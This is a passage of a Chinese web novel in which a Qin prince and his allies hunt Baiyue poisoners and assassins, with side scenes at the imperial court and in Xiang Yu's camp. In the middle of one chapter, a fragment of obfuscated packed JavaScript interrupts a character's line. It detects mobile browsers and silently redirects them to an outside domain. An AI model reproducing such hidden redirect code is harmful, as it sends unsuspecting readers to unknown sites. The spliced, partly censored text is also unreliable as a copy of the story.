烛火将王离送来的密信照得通明。
赢子夜指尖划过羊皮地图上标记的红点,眉头渐渐拧紧。
少司命静立一旁,紫纱下的眸子映着跳动的火光。
“看出什么了?”
赢子夜突然开口。
少司命接过地图,纤细的指尖轻点那些标记:“十七处据点,分布在中原各城…”
她忽然顿了顿,“都是些贩夫走卒**之地。”
赢子夜轻笑一声,黑瞳中闪过一丝冷芒:“再细看。”
少司命凝神细观,紫眸中万叶流转。
片刻后,她微微摇头:“请夫君明示。”
“哗啦——”
赢子夜突然将水壶倾倒在案几上。
水顺着竹简上的木纹流淌,竟与地图上的标记完美重合!
每一个红点,都是城中水井或河流交汇之处!!!
“**?!”
少司命紫纱无风自动,三片青叶从袖中爆射而出,钉入梁柱。
赢子夜指尖轻叩桌面,水珠震起又落下:“百毒王最拿手的,可不就是‘千里绝户’?”
窗外惊雷炸响,照亮了他冷峻的侧脸。
“走,去王离那里。”
一炷香后。
王离接令时,营中只余烛火劈啪作响。
“王将军,这些人绝不能打草惊蛇。”
赢子夜的语气冰冷,“所有据点必须同时抓捕!只要有一个人逃脱,就会酿成大祸。”
王离拱手应声:“末将领命!”
雨点开始敲打窗棂。
赢子夜回到案前,袖中滑出七枚半两钱,在沙盘上排成北斗之形,指尖顺着沙盘上的河流缓缓流动。
“子时三刻月盈,所有水源会同时涨潮,我要他们在毒入水前——”
金芒化作锁链,瞬间绞住七个红点!
“一网打尽!”
少司命紫眸微闪:“需要多少人手?”
“三十六个。”
赢子夜从架上取下青铜虎符,“暗河十二夜枭,二十四血鸦。”
虎符裂开,露出里面的玉令,“记住,要活的舌头。”
少司命望向窗外雨幕,隐约看见几个黑影正掠过屋檐。
第182章 始皇帝:罗网,还有存在的必要么
夜雨如注。
定陶城西的枯井旁,三个披着蓑衣的身影正往井中倾倒某种青色粉末。
“快些!”
为首的巫师声音嘶哑,脖颈上的蛇鳞纹在闪电中泛着幽光,“子时潮汐将至…”
话音未落,井水突然翻涌如沸!!
一道铁链从井爆射而出,瞬间缠住他的脚踝。
暗河**如鬼魅般从四面八方浮现,淬毒的**箭封**所有退路!
“留活口!”
赵戈苍的铁面具上雨水横流,重剑拍碎了一名巫师的肩胛骨。
那巫师却狞笑着咬破舌尖,黑血喷在铁链上竟腐蚀出缕缕青烟!
“想逃?”
屋檐上突然飘落三片青叶,精准钉入巫师们的后颈。
少司命紫衣翻飞,万叶流花将毒血尽数挡回。
巫师们瘫软在地,瞳孔已开始扩散!!
他们提前服了剧毒。
“搜魂。”
赢子夜的声音从雨幕中传来。
他撑着一把黑伞,靴底踩在水洼上竟不泛起一丝涟漪。
赵弋苍的铁爪扣住巫师天灵盖,暗河秘法催动下,巫师发出不似人声的惨叫!!
片刻后,赵弋苍闷声道:“主上,他们在找火雨山庄的遗孤。”
“火雨玛瑙…”
赢子夜黑瞳微眯,“果然。”
少司命指尖凝聚出一缕青光,点在另一名巫师眉心:“这些人彼此不相识,都是单线受命。”
她突然蹙眉,“他们体内…有母蛊。”
话音未落,三名巫师头颅同时爆裂!
无数红线虫钻出,却被赢子夜袖中飞出的金焰烧成灰烬!
这时,一名黑影掠来,正是昭鞅。
他单膝跪地:“主上,已查清十七处据点,共擒获二十八人,但……”
“但还有漏网之鱼。”
赢子夜收起黑伞,任雨水打湿衣袍,“传令各郡,严查近日购买朱砂、雄黄的可疑之人!”
“诺!”
……
很快。
地牢审讯室内。
最后一名活着的巫师被铁链吊起。
赢子夜把玩着一块赤红晶石碎片,在巫师眼前缓缓晃动:“认识这个么?”
巫师浑浊的眼中突然迸发精光:“火雨…玛瑙…”
“说说它的用处。”
赢子夜将晶石贴近巫师心口,“本公子心情好,或许能给你个痛快。”
“呵…呵呵…”
巫师突然诡笑,“你们这些秦人…根本不懂…”
他的皮肤开始泛起不正常的红光。
“玛瑙是钥匙…是打开……”
少司命突然挥袖,三片青叶封住巫师周身大穴:“他要自爆心脉!!!”
赢子夜却将晶石碎片按进巫师胸口:“那就看看,是你的心脉硬,还是火雨玛瑙的烈性更足。”
凄厉的惨叫声中,巫师浑身血管暴起,却始终无法自绝!
晶石碎片在他体内发出低沉的嗡鸣,仿佛在吸走他的生机。
“火雨玛瑙……”
少司命紫眸微动,“听说是百越火雨山庄的至宝,曾是右司马李开送给火雨公女儿的信物。”
“看来,他们找的并不是一块石头,而是持有它的人。”
“若是完整的一块…”
“说不定就能找到那位火雨公的宝藏。”
赢子夜接过话头,突然捏碎手中晶石。
粉末飘散间,浮现出模糊的少女轮廓。
“看来我们的百越朋友,找的不是玛瑙,而是带着玛瑙的人。”
暗河密探匆匆进来,附耳低语。
赢子夜眸光一凛:“备马,去东阿。”
他转向少司命,“夫人可还记得,当年火雨山庄灭门时,逃了几个活口?”
少司命紫眸中闪过一丝异色:“据说是…一个女儿?”
“不错。”
赢子夜指尖的金焰勾勒出一个少女身形,“此女……”
“定然是逃到了中原。”
“否则百越人不会如此大动干戈在中原散布棋子。”
窗外雨势渐歇,一缕月光穿透云层,正好照在案几上的地图。
“传讯兵。”
赢子夜突然提高声调,“八百里加急送往各郡!凡发现中原有火雨公遗孤的任何线索,立刻秘送给我!”
他摩挲着腰间的玉珏,轻声道:“记住,要活的。”
……
章台宫内,青铜灯盏的火苗突然齐齐矮了三分。
“啪!”
竹简被重重掷在玉阶上,滚到赵高脚边。
这位“深受宠信”的中车府令此刻匍匐在地,额头紧贴冰凉的黑砖,连呼吸都放得极轻。
“粮道被袭。”
始皇帝的声音从九阶高台上传来,每个字都像钝刀刮过青铜鼎,“**多少?”
赵高喉结滚动:“回陛下,押粮校尉以下,三百二十七人…”
“滋啦——”
案几上的蜜蜡突然融化,滚烫的蜡油滴在赵高手背上!!
他纹丝不动,仿佛那灼烧的不是自己的皮肉。
“你觉得。”
始皇帝缓缓起身,十二旒冕冠上的
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玉珠相互碰撞,“是何人所为?”
殿内温度骤降。
赵高感觉有冰冷的视线落在自己后颈,像无形的刀锋轻轻摩挲。
“老奴以为…”
他声音尖细如针,“百越天泽勾结农家余孽…”
“咚!”
突如其来的巨响吓得赵高浑身一颤!
始皇帝的佩剑定秦不知何时已出鞘三寸,剑柄重重砸在案几上!!
“朕要的是证据。”
玄色帝袍掠过玉阶,停在他面前三尺处,“不是猜测。”
赵高袖中的手微微发抖。
“老奴查到…”
他急忙取出密报,“袭击者中有人使用邯郸剑法…”
“邯郸?”
始皇帝突然冷笑,“朕记得,邯郸剑派最后一个传人,十年前就死在王翦剑下了。”
一滴冷汗顺着赵高太阳穴滑落!
他清楚记得,当年正是武成侯王翦把那个剑派少主吊死在邯郸城头。
“陛下明鉴。”
他额头抵地,“老奴怀疑有人冒用…”
“够了。”
始皇帝转身时,佩剑的流苏扫过赵高头顶!
“此事交给罗网查!三日之内,朕要见到主谋的人头。”
赵高刚要应声,忽又想起什么:“陛下,还有一事…魏国信陵君的后裔,被六公子带走了。”
始皇帝的声音听不出喜怒,“朕知道了。”
就在赵高躬身退到殿门时,身后突然传来一声轻叩。
那是定秦剑敲击玉阶的声响,却让他如遭雷击般僵在原地!!
“赵高。”
简单的两个字,却让殿内所有烛火同时变成诡异的青色。
赵高转身时,看到始皇帝的身影在火光中扭曲变形,竟隐约显出龙鳞般的纹路。
“老奴在…”
“罗网成立多年。”
始皇帝摩挲着剑柄上樊於期的发丝剑穗,“连朕的儿子麾下那些杂牌暗探都比不过了?”
赵高膝盖一软跪倒在地!!!
“老奴该死!六公子天纵英才…”
“朕不想听这些。”
始皇帝突然出现在他面前,靴尖抬起他下巴,“当年你处置成蟜时,可不是这般无能。”
赵高瞳孔骤缩。
那是二十多年前的旧事了。
“滚吧。”
始皇帝甩袖转身,帝袍上的金线在火光中如活物游动,“记住,朕的耐心…有限。”
殿门轰然关闭的刹那,赵高瘫软在廊柱旁。
他这才发现,自己的官服后背已经湿透。
第183章 引蛇出洞!
烈山堂外,秋风卷着落叶扫过台阶。
赢子夜正欲登车,赵弋苍铁甲铿锵地疾步而来,单膝跪地时重剑砸出几点火星。
“主上,暗河急报。”
他递上竹简时,铁面具下的呼吸略显急促,“项氏余孽在旧楚之地招揽‘风林火山’旧部。”
赢子夜展开竹简,玄色衣袖被风拂动。
他忽然轻笑:“龙且的腾龙军团,英布的雷豹营…倒是凑齐了。”
指尖在“项”字上轻轻一划,“胜七不是也在那边?”
一旁的田言紫瞳微闪:“公子的意思是…”
“传令暗河。”
赢子夜将竹简抛给赵弋苍,“就说胜七借楚国王室之名,正在私铸兵器。”
少司命指尖一片青叶无声旋转。
她明白,这是要逼项氏与农家残部自相残杀!
“还有一事。”
赵弋苍突然压低声音,“沛县传出流言,说刘季斩白蛇起义,自诩赤帝之子…”
“咔嚓!”
赢子夜手中的马鞭突然断成两截!
周围亲卫不自觉地后退半步,连田言都屏住了呼吸。
“赤帝之子?”
赢子夜的声音轻柔得可怕,“白蛇是白帝之子?”
他忽然抬眸,金瞳中似有烈焰燃烧,“好一个刘季,好一个…农家。”
钟离昧的箭囊突然发出嗡鸣!
他敏锐地注意到,公子说“农家”二字时,田言的惊鲵剑微微震颤。
“备马。”
赢子夜扯下腰间玉佩扔给田言,“农家暂由你执掌,若有人问起本公子去向…”
田言接住玉佩,上面还带着公子的体温。
“属下只说公子去查案了。”
赢子夜满意地颔首,转向赵弋苍:“告诉王离,点齐三万轻骑在芒砀山待命!”
玄色大氅在风中猎猎作响,“记住,要打着剿匪的旗号,等我消息。”
少司命无声地站到他身侧,紫纱下的眸子望向东南方。
那是沛县的方向。
赢子夜忽然凑近她耳畔:“夫人可听过‘赤帝斩白蛇’的典故?”
“阴阳家典籍有载。”
少司命声音清冷,“白帝主杀伐,赤帝主…”
“愚民罢了。”
赢子夜冷笑,“不过既然有人想当赤帝…”
他翻身上马,玄色衣袍上的暗纹如活物游动,“本公子不介意送他一场…黄泉梦。”
……
数日之余!
番禺城。
军营内,浓烈的焦糊味弥漫不散。
扶苏站在焚烧尸体的土坑旁,素白长袍被火光映得发黄。
他望着坑中扭曲的焦尸,指节捏得发白。
那具蜷缩的尸骸手腕上,还系着半截红绳,是出征前妻子给系上的平安结。
“第七处了。”
蒙毅声音沙哑,铠甲上满是刀痕,“今早又有三个村落遭袭,井水里全是蛊虫。”
扶苏接过竹简,上面记录的死亡数字让他胸口发闷。
最令他心惊的是,这些袭击毫无规律。
有时是伪装成商队的巫师下毒,有时是驱尸魔操控的尸傀夜袭,甚至还有孩童被制成“毒人”混入难民营。
“传令官。”
扶苏突然转身,“取我玉印来。”
当亲卫捧来刻有“扶苏”二字的青玉印时,他却犹豫了。
玉印悬在绢帛上方迟迟未落,直到一滴汗珠晕开了墨迹。
看来只得求助于六弟了。
虽说他麾下也有一些江湖门客,可相比于这些邪徒,却是有些捉襟见肘。
更何况,他麾下的那些人都在保护军中医官,暂时不能分身。
“殿下?”
蒙毅试探道,“可是要给咸阳…”
“不,传书一封于六弟。”
扶苏收回了玉印,转而取出枚青铜令牌,“去请逆流沙的卫庄先生。”
……
很快。
帐外突然传来冷笑声:“长公子倒是会差遣人。”
鲨齿剑挑开帐帘,卫庄白发披散,肩头还沾着未干的血迹。
他身后跟着的白凤指尖转着片染血的羽毛,赤练腰间的毒蛇正吐着信子。
扶苏不卑不亢地拱手:“先生近日连斩百越二十三名巫师,扶苏代南疆百姓谢过。”
卫庄径直走到沙盘前,鲨齿剑在漓江位置划出道深沟。
“废话少说,要本座守哪座城?”
“临沅、镡城、零陵。”
扶苏指向三处要冲,“这三地水道纵横,最易被**。”
赤练突然娇笑出声:“公子好算计,这三城呈犄角之势,无论哪处遇袭都能相互支援。”
她腕间红蛇昂首,“可惜我们人不够呢~”
“本座一人足矣。”
卫庄的剑尖突然抵住扶苏咽喉,“但我要知道,你给赢子夜的信里写了什么。”
帐内温度骤降!
蒙毅的刀刚出鞘半寸,就被白凤的羽刃抵住后心。
扶苏却面不改色,从袖中取出未封漆的信函:“六弟精通奇门遁甲,或能破解百越巫蛊之术。”
卫庄扫过绢帛,突然嗤笑:“兄弟情深?”
话音刚落。
帐外传来沉重的脚步声。
卫庄收剑入鞘,瞳孔中闪过一丝玩味:“这三城,本座接了,但记住…”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169128|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>他转身时披风扫过沙盘,将代表秦军的木俑全部掀翻!
“逆流沙从不受制于人,即便是赢子夜,我们也只是合作关系。”
待三人离去,蒙毅才长舒口气:“殿下,此人太过狂妄…”
“他有狂妄的资本。”
扶苏擦去颈间血珠,“去请赵佗将军来,该收网了。”
当夜军议,扶苏的部署让众将哗然!
“放弃漓江防线?”
赵佗拍案而起,“那可是用三千将士性命换来的!!!”
扶苏将一枚黑子按在沙盘上:“百越连袭七城,看似杂乱,实则都在诱我们分兵。”
他又放下五枚白子,“与其被动防守,不如…”
“引蛇出洞。”
……
沛县。
城门外,秋风卷着枯叶扫过空荡的街道。
赢子夜勒住缰绳,玄色大氅上落满灰尘。
他皱眉望着城头飘摇的白幡,那是大秦官府用来警示瘟疫的标记。
“公子,城内十室九空。”
赵弋苍的铁面具上沾着草屑,“据逃出来的百姓说,三日前突然有人呕吐黑血,不出半日就…”
赢子夜抬手打断,翻身下马。
靴底刚触到地面,就碾碎了几只僵死的毒虫。
他蹲下身,指尖捻起虫尸:“百毒王的‘七步绝’。”
少司命紫纱轻扬,三片青叶飘向城内。
叶片刚飞过城墙,突然自燃成灰!
她眸光一凛:“空气里都是毒瘴。”
“传令。”
赢子夜解下腰间玉珏扔给亲卫,“调临县戍卒封锁所有道路,逃亡百姓集中安置在芒砀山谷。”
他指尖金芒闪动,在虚空中画出隔离区域的轮廓,“敢擅闯者,斩!!”
话音刚落!
钟离昧的陨星弓突然嗡鸣!
“公子小心!”
一支淬毒**箭从城垛射来,赢子夜头也不回地抬手,箭矢在距他三尺处凝滞,箭头上爬动的红纹蜈蚣清晰可见。
“看来有人不欢迎我们。”
他屈指轻弹,**箭原路返回,城上传来重物坠地的闷响!
入城后,景象更令人心惊。
街巷横七竖八躺着尸体,有的已经肿胀发黑。
井台边趴着个孩童,小手还保持着够水瓢的姿势,嘴角却凝固着黑血。
“分三路。”
赢子夜从袖中取出三个玉瓶,“赵弋苍带人清理尸骸,钟离昧搜查幸存者。”
他将最精致的青玉瓶递给少司命,“夫人负责净化水源。”
“都注意点,敌人随时可能发动袭击!”
众人领命而去。
第184章 诡剑仙来袭!
很快。
夜色如墨,浓稠得仿佛能滴出血来。
县府之内,虫鸣声早已消失殆尽,只剩下风吹过树叶的沙沙声,像是某种不祥的低语。
赢子夜负手立于庭院中央,玄色衣袍在月光下泛着冷冽的光泽,腰间玉珏纹丝不动,仿佛与这片死寂融为一体。
少司命静立在他身侧,紫纱下的眸子微微闪动。
她指尖轻捻,三片青叶无声悬浮于掌心,叶脉间流转着淡淡的荧光。
“来了。”
她突然开口,声音清冷如霜!
话音刚落,庭院四角的火盆骤然熄灭!
黑暗中传来窸窸窣窣的声响,仿佛有无数细足爬过青石板。
赵弋苍铁甲铿锵上前一步,重剑横在胸前:“是百越的毒蛊!”
“雕虫小技。”
赢子夜轻笑一声,袖中突然飞出一枚铜钱。
金芒划破黑暗的刹那,地面炸开一团绿雾——
数十只蜈蚣被钉死在石缝中,毒液腐蚀得砖石滋滋作响!
阴冷的笑声突然从四面八方传来:
“六公子好眼力,可惜……”
声音忽左忽右,如同鬼魅飘忽,“今夜要招待诸位的,可不止这些小玩意儿。”
“装神弄鬼!”
昭鞅突然从屋檐阴影中暴起,双剑交错斩向声源处。
剑气撕开夜幕,却只劈碎一段枯枝。
几乎同时,三道剑光自不同角度刺向他后心!!!
“小心!”
少司命袖中青叶爆射而出,与剑光相撞迸出火星。
借着这刹那光亮,众人终于看清来袭者。
三个披着鳞甲的身影如同壁虎般贴墙游走,手中细剑弯曲如蛇信。
赢子夜瞳孔微缩:“诡剑仙?”
他话音未落,左侧假山后突然刺来一剑,角度刁钻至极!
玄色衣袖翻卷间,金铁交鸣之声炸响,那柄蛇形剑竟如活物般绕过格挡,直取咽喉!!!
“公子!”
田言惊鲵剑出鞘半寸,却见赢子夜突然变掌为爪,五指间金焰暴涨。
偷袭者怪叫一声撤剑后跃,面具下传出嘶哑嗓音。
“好个焚天诀!”
而此时,庭院已乱作一团。
十余名百越邪师时隐时现,剑光如毒蛇吐信,每次出击必取要害!
赵弋苍重剑横扫,却总被对方借力旋身避开。
昭鞅双剑快若闪电,可敌人总能在千钧一发时化作残影。
“别被缠住!”
赢子夜突然厉喝,“当心三人成阵!”
他话音未落,三名邪师已呈品字形围住钟离昧。
陨星弓刚拉开半寸,其中一人突然剑走偏锋,剑尖竟顺着弓弦滑向手腕!
少司命紫纱骤然飞扬,万千青叶如暴雨倾泻。
邪师们却诡笑着散开,其中一人甚至踩着叶片借力翻身,反手一剑刺向她后心!
“夫人小心!”
他屈指一弹,将剑光绞得粉碎,彻底阻下了攻势。
“哈哈哈!”
诡剑仙的真身终于出现在月下。
他倒悬于古松枝头,黑袍上绣着百越蛇纹,脸上戴着青铜鬼面:“都说六公子算无遗策,怎么连套剑阵都破不了?”
赢子夜突然闭目凝神。
当下一波剑光袭至时,他竟不避不闪,任由三柄蛇形剑刺入衣袍!
却在接触瞬间,玄色锦衣突然无风自动,十二枚玉珏同时亮起!!!
“就是现在!”
他猛然睁眼,双瞳如烈日灼烧。
玉珏炸裂的刹那!
狂暴气劲将三名邪师硬生生震出原形!!
钟离昧的陨星弓终于满月,一箭贯穿其中两人胸膛,第三箭却被诡剑仙用同伴尸首挡下。
“好!好!”
诡剑仙鬼面下的声音终于带上怒意,“那便请公子尝尝这个!”
他忽然甩出七颗骷髅,落地化作毒烟凝成的鬼兵!
自己却借机暴退,身形如蝙蝠般掠向墙头。
“想走?”
赢子夜并指如剑,一道金焰如龙腾空。
诡剑仙怪叫着甩出黑袍抵挡,布料瞬间燃成灰烬,露出后背狰狞的蛇鳞纹身!
那纹路,竟在月光下蠕动起来!
少司命突然闪至半空,紫袖翻卷间百叶成牢。
然而,眼看就要将敌人困住,墙外突然射来一串骨铃。
铃声刺耳,众人动作皆是一滞。
诡剑仙趁机化作黑雾消散,只留下怨毒的回响:“六公子,咱们有缘再见……”
“追!”
赢子夜拂袖震散毒雾,眸中寒意彻骨,“凡有鳞纹者,格杀勿论!”
赵弋苍的铁甲已染满毒血,闻言重重抱拳:“诺!”
庭院重归寂静时,唯有那株被剑气削秃的古松,还在簌簌落下针叶。
少司命拾起半片鬼面,紫纱下的唇角微微抿紧。
“他用的是……黔中魅影的路数。”
赢子夜凝视着掌心焦黑的鳞粉,突然冷笑:“难怪能化解罡气,不过既然露了尾巴——”
他碾碎粉末,任夜风吹散。
“就别想逃。”
……
与此同时。
百越之地。
潮湿的洞穴中,火光将天泽的影子投在岩壁上,扭曲如一条蓄势待发的毒蛇。
“主上。”
百毒王佝偻着背,枯瘦的手指捏着一枚传讯竹简,声音沙哑如磨砂。
“探子回报,扶苏果然中计,将逆流沙全数调往三城驻守,如今主力军已准备与我军正面一战。”
天泽低笑一声,锁链上的鳞片微微竖起,发出细微的摩擦声。
他伸手拨弄沙盘上的秦军木俑,指尖轻轻一弹,其中一枚应声倒下。
“不急。”
他缓缓开口,声音低沉而危险,“秦军虽接连受挫,却也不是蠢货
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。”
“扶苏此举,无非是想引我们现身,再一举歼灭。”
他冷笑一声,“那就陪他们玩玩,让他们以为我们怕了,等他们松懈之时……”
他五指猛然收紧,木俑在他掌中碎裂成屑!
“再给他们致命一击!!”
百毒王眼中闪过阴毒之色,躬身一拜:“主上英明!”
“老奴这就去安排,让尸傀大军再袭几处村落,逼他们分兵救援。”
天泽微微颔首,目光却仍盯着沙盘,仿佛在计算着每一步棋的走向。
就在此时,洞穴深处传来一阵轻盈的脚步声,伴随着若有若无的幽香。
“主上。”
一道妖娆的身影缓步走来,红纱轻扬,雪白的肌肤在火光下泛着莹润的光泽。
魅姬红唇微勾,眼波流转间似有万千幻象闪过,让人不自觉地沉溺其中。
天泽抬眸,眼中闪过一丝不耐:“何事?”
魅姬盈盈一拜,声音酥媚入骨:“属下已寻到冰棺的下落。”
天泽瞳孔骤然一缩,锁链上的鳞片瞬间绷紧,发出刺耳的摩擦声。
他缓缓站起身,高大的身影在火光下拉长,阴影几乎笼罩了整个洞穴。
“在哪?”
他声音低沉,却带着不容抗拒的威压。
魅姬红唇轻启:“就在漓江之下的古墓中,被某种封印术所困,不过……”
她眼波流转,似笑非笑,“属下已编织梦境,让守墓之人陷入永眠,无人能阻主上取棺!”
天泽眼中闪过一丝贪婪,嘴角缓缓勾起一抹冷笑:“很好。”
他转身走向洞穴深处,锁链拖过地面,发出刺耳的声响。
“百毒王。”
他头也不回地命令,“继续袭扰秦军,让他们疲于奔命。”
“是!”
百毒王阴笑着躬身。
“魅姬。”
天泽脚步一顿,声音低沉而危险,“带路。”
魅姬红唇微扬,眼中闪过一丝诡谲的光芒:“主上请随我来。”
她转身走向洞穴深处,红纱轻扬,身影如魅影般飘忽。
天泽紧随其后,锁链上的鳞片在黑暗中泛着幽冷的光泽,仿佛毒蛇吐信,随时准备给予猎物致命一击。
……
洞穴深处,阴风阵阵,隐约传来水流的声音。
魅姬停下脚步,指尖轻点石壁,一道幽蓝色的符文缓缓浮现,随即如水波般消散。
“就在下面。”
她轻声说道,声音如梦似幻,“冰棺中的女子,可是主上一直想要的人呢……”
天泽眼中闪过一丝狂热,锁链猛然刺入地面,整个洞穴都仿佛震颤了一下。
“取来!”
他的声音低沉而冰冷,如毒蛇吐信,带着不容抗拒的命令。
魅姬红唇微勾,指尖轻点虚空,一道梦境般的幻象缓缓展开,仿佛在指引着通往冰棺的道路。
第185章 百家令!
黎明时分。
沛县县衙内弥漫着未散的寒意。
赢子夜负手立于堂前,玄色衣袍上凝结着晨露,在初升的朝阳下泛着冷光。
庭院中传来沉重的脚步声。
赵弋苍铁甲染血,肩扛一具裹着黑布的尸首踏入堂内,铁面具上还带着夜战的划痕!!
“主上。”
赵弋苍单膝跪地,重剑砸在青砖上溅起火星,“诡剑仙首级在此!”
他扯开黑布,露出那张戴着残破青铜鬼面的头颅,脖颈断口处还凝结着焦痕。
正是他的炎阳剑气留下的痕迹。
昭鞅随后迈进门槛,双剑仍在滴落黑血:
“兄弟们已沿途斩杀百越邪修二十七人。”
他嘴角噙着冷笑,“这些杂碎倒会躲藏,可惜逃不过咱们的追魂香。”
赢子夜指尖轻抚鬼面,黑瞳中闪过一丝冷芒:“可探明他们目的?”
“不止诡剑仙一脉。”
赵弋苍声音闷如**,“南疆突然冒出数十股百越江湖势力,专挑各派落单弟子下手。”
他取出半截染血的竹简,“从俘虏口中撬出消息,他们奉天泽之命,要屠尽中原武林年轻一辈!”
堂内烛火突然剧烈摇晃。
赢子夜袖中玉珏无声碎裂,粉末从指缝簌簌落下:“好个一石二鸟。”
他声音轻柔得可怕,“既断百家根基,又为百越大军扫清障碍。”
恰在此时,门外传来急促马蹄声!
一名风尘仆仆的传令兵跌撞入内,双手呈上烙着火漆的铜管:“长公子八百里加急!”
赢子夜划开火漆,绢帛展开的刹那,堂内温度骤降!!
扶苏清隽的字迹间透着凝重:
“百越尸蛊大军多次偷袭我后方…百姓死伤逾千…恳请六弟……”
“呵。”
赢子夜突然冷笑,绢帛在他掌心燃起幽蓝火焰!
“我这兄长,到此刻还讲究仁者之风。”
他抬眸看向晓梦,后者正倚在廊柱旁把玩拂尘,天宗掌门的白衣纤尘不染。
“晓梦大师。”
赢子夜语气平静,却让堂内烛火齐齐矮了三分,“烦请天宗即刻发出百家令。”
晓梦挑眉,拂尘轻甩:“公子要以何名义?”
“凡中原武林门派,三日之内必须遣精锐赴南疆。”
赢子夜一步踏出,玄色大氅无风自动,“抗令者——”
他指尖轻叩案几,青铜虎符应声裂开,露出里面猩红的诛字玉令!
“按叛国罪论处,满门诛绝!!!”
堂外槐树突然剧烈摇晃,落叶未及触地便化作齑粉。
赵弋苍的铁面具下传出粗重的呼吸声,昭鞅则兴奋地舔了舔剑刃残血。
“霸道了些。”
晓梦轻笑,眸中却泛起星芒,“不过…正合天道。”
她拂尘一甩,七枚玉简悬浮空中!!
“儒家、道家、兵家、法家、农家、阴阳家,一家都逃不掉。”
随即,少司命也无声出现在檐下,紫纱拂过晓梦袖摆,三片青叶嵌入玉简。
“夫君要再加一条。”
“凡与百越暗通者,曝尸三日,魂魄永镇噬牙狱!”
赢子夜转身望向南疆方向。
朝阳将他轮廓镀上金边,阴影却蔓延至整个厅堂!
“既然来了中原。”
腰间玉珏突然全部亮起,映得他瞳孔如烈日灼烧!
“就永远留下吧……”
堂外忽然狂风大作!!
数百只黑鸦从县衙屋顶腾空而起,爪子上绑着血红的百家令,如一片乌云压向中原全境。
赢子夜的玄色衣袍在风中猎猎作响,声音却清晰穿透云霄!
“让天泽知道——”
“他派多少人来,本公子就埋多少座坟。”
……
楚地。
营帐内。
火盆里的炭火噼啪作响,将项羽高大的身影投在牛皮帐幕上。
他单手按着案几上的地图,另一只手摩挲着腰间虎头佩刀,眉头紧锁如刀刻。
英布半张脸隐在阴影里,雷豹纹的铠甲上还带着未干的血迹。
“少主,三日内又收拢了八百壮士。”
龙且掀开帐帘大步走入,铁靴踏得地面微震,“但东边传来的消息不太妙。”
他扔下一卷染血的竹简,“有人在会稽打着昌平君后人的旗号,已经**了三千人马。”
项羽猛地抬头,重瞳中闪过一丝厉芒:“昌平君?”
他五指收拢,竹简在掌中碎成齑粉!
“那个老狐狸二十年前就死在咸阳了,哪来的后人?”
英布突然冷笑一声,手指蘸着酒水在案几上画了条蜿蜒的线:“是不是真货不重要,重要的是……”
酒线突然断开,水珠溅在象征楚地的区域。
“这些人正断在我们的粮道上。”
帐内霎时死寂!
范增的龟甲在火盆旁发出细微的炸裂声。
老谋士闭目不语,却将一枚黑子重重按在棋盘上。
“查。”
项羽的声音低沉如雷,震得帐顶灰尘簌簌落下,“龙且带腾龙骑去会稽,看看是哪个不长眼的。”
“若是真的呢?”
英布突然打断,独眼在火光下泛着冷光。
他缓缓起身,腰间双斧碰撞出沉闷的声响:“昌平君当年若是有个幼子被项燕将军送出咸阳,那这楚国王室血脉…可就不止少主这一家了。”
他故意拖长声调,看着项羽太阳穴暴起的青筋。
“放屁!”
龙且大声反驳:“项氏才是正统!当年巨鹿之战——”
“正统?”<
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br>英布嗤笑着转动斧柄,“老百姓可不管这些。他们只认楚国王室这块招牌。”
他突然逼近项羽,压低声音:“少主是要俯首称臣,还是……”
斧刃无声出鞘半寸,寒光映在两人之间。
项羽重瞳骤缩!
帐外,忽然传来战马嘶鸣,仿佛感应到主人的杀意。
他伸手按住英布的斧柄,青铜护腕与铁器摩擦出刺耳声响:“你让我杀同族?”
“是清理门户。”
英布不退反进,独眼里闪着毒蛇般的冷光。
“项梁将军**的?”
“不就是被那些所谓的‘王室’出卖?”
他猛地抽回战斧,劈碎案几一角!!
“当断不断,反受其乱!”
范增突然剧烈咳嗽起来,枯瘦的手指将棋盘上的黑子推倒一片。
项羽转头看去,只见老军师抬起那双浑浊的眼睛,缓缓开口:“夜长…梦多”。
沉默如潮水般漫过军帐!
火盆里的炭火渐渐暗下去,映得项羽半边脸如青铜雕像。
当他再次开口时,声音里带着金铁交鸣的震颤。
“龙且。”
“末将在!”
银甲将领单膝跪地。
“你明日照常去会稽。”
项羽解下腰间玉佩扔给他,“带上这个,就说项氏愿与王室共襄盛举。”
龙且愕然抬头,却见少主重瞳中燃烧着骇人的火焰!
英布咧嘴笑了,露出森白的牙齿。
他慢条斯理地擦拭斧刃:“我带雷豹营走小道,听说会稽城南有片乱葬岗。”
斧面突然映出他扭曲的笑容,“最适合清理门户!”
项羽抓起酒坛仰头痛饮,琥珀色的液体顺着脖颈流进铠甲。
酒坛砸碎在范增脚边时,他转身按住英布的肩膀,力道大得能让常人骨骼碎裂:“记住——”
血腥气随着吐息喷在英布脸上。
“我要亲眼看到昌平君的‘后人’。”
“自然。”
英布抚胸行礼,独眼却瞟向帐外漆黑的夜色,“会稽城最近盗匪横行,死个把贵族…没有大碍。”
他故意这么说,铠甲上的豹纹在火光中如活物般蠕动。
……
当夜,两匹快马悄然离开大营。
龙且的白袍在月光下如鬼魅飘忽,英布的雷豹纹铠甲则完全融入黑暗。
项羽独立在辕门前,望着他们消失的方向,手中虎头刀不知何时已出鞘三寸。
范增的声音从身后幽幽传来。
“少主,当断不断…必受其乱啊。”
“我知道。”
项羽突然打断,刀锋映出他冷硬如铁的面容,重瞳中似有岩浆翻滚。
“先活下来的…才是英雄。”
远处传来夜枭的啼叫,仿佛亡魂的叹息。
第186章 敢来犯城者,杀无赦!!!
南疆。
冰棺碎裂的瞬间,整个洞穴的温度骤然攀升!
晶莹的冰晶在空气中蒸腾成雾,朦胧中一道赤红的身影缓缓直起身子,火红的发丝如活物般舞动,映得岩壁上的水珠滋滋作响。
“呵。”
焰灵姬舒展着纤细的腰肢,指尖跳动着幽蓝的火苗。
“没想到还有重见天日的时候。”
她突然抬手,一道火蛇猛地扑向天泽面门!
天泽纹丝不动,六条锁链如巨**腾空,鳞片开合间将火焰绞得粉碎。
火星四溅中,他黑袍上的蛇纹仿佛活了过来,在火光中扭曲游走。
“试探我?”
天泽的声音低沉如地底闷雷。
“看来冰棺还没冻坏你的脑子。”
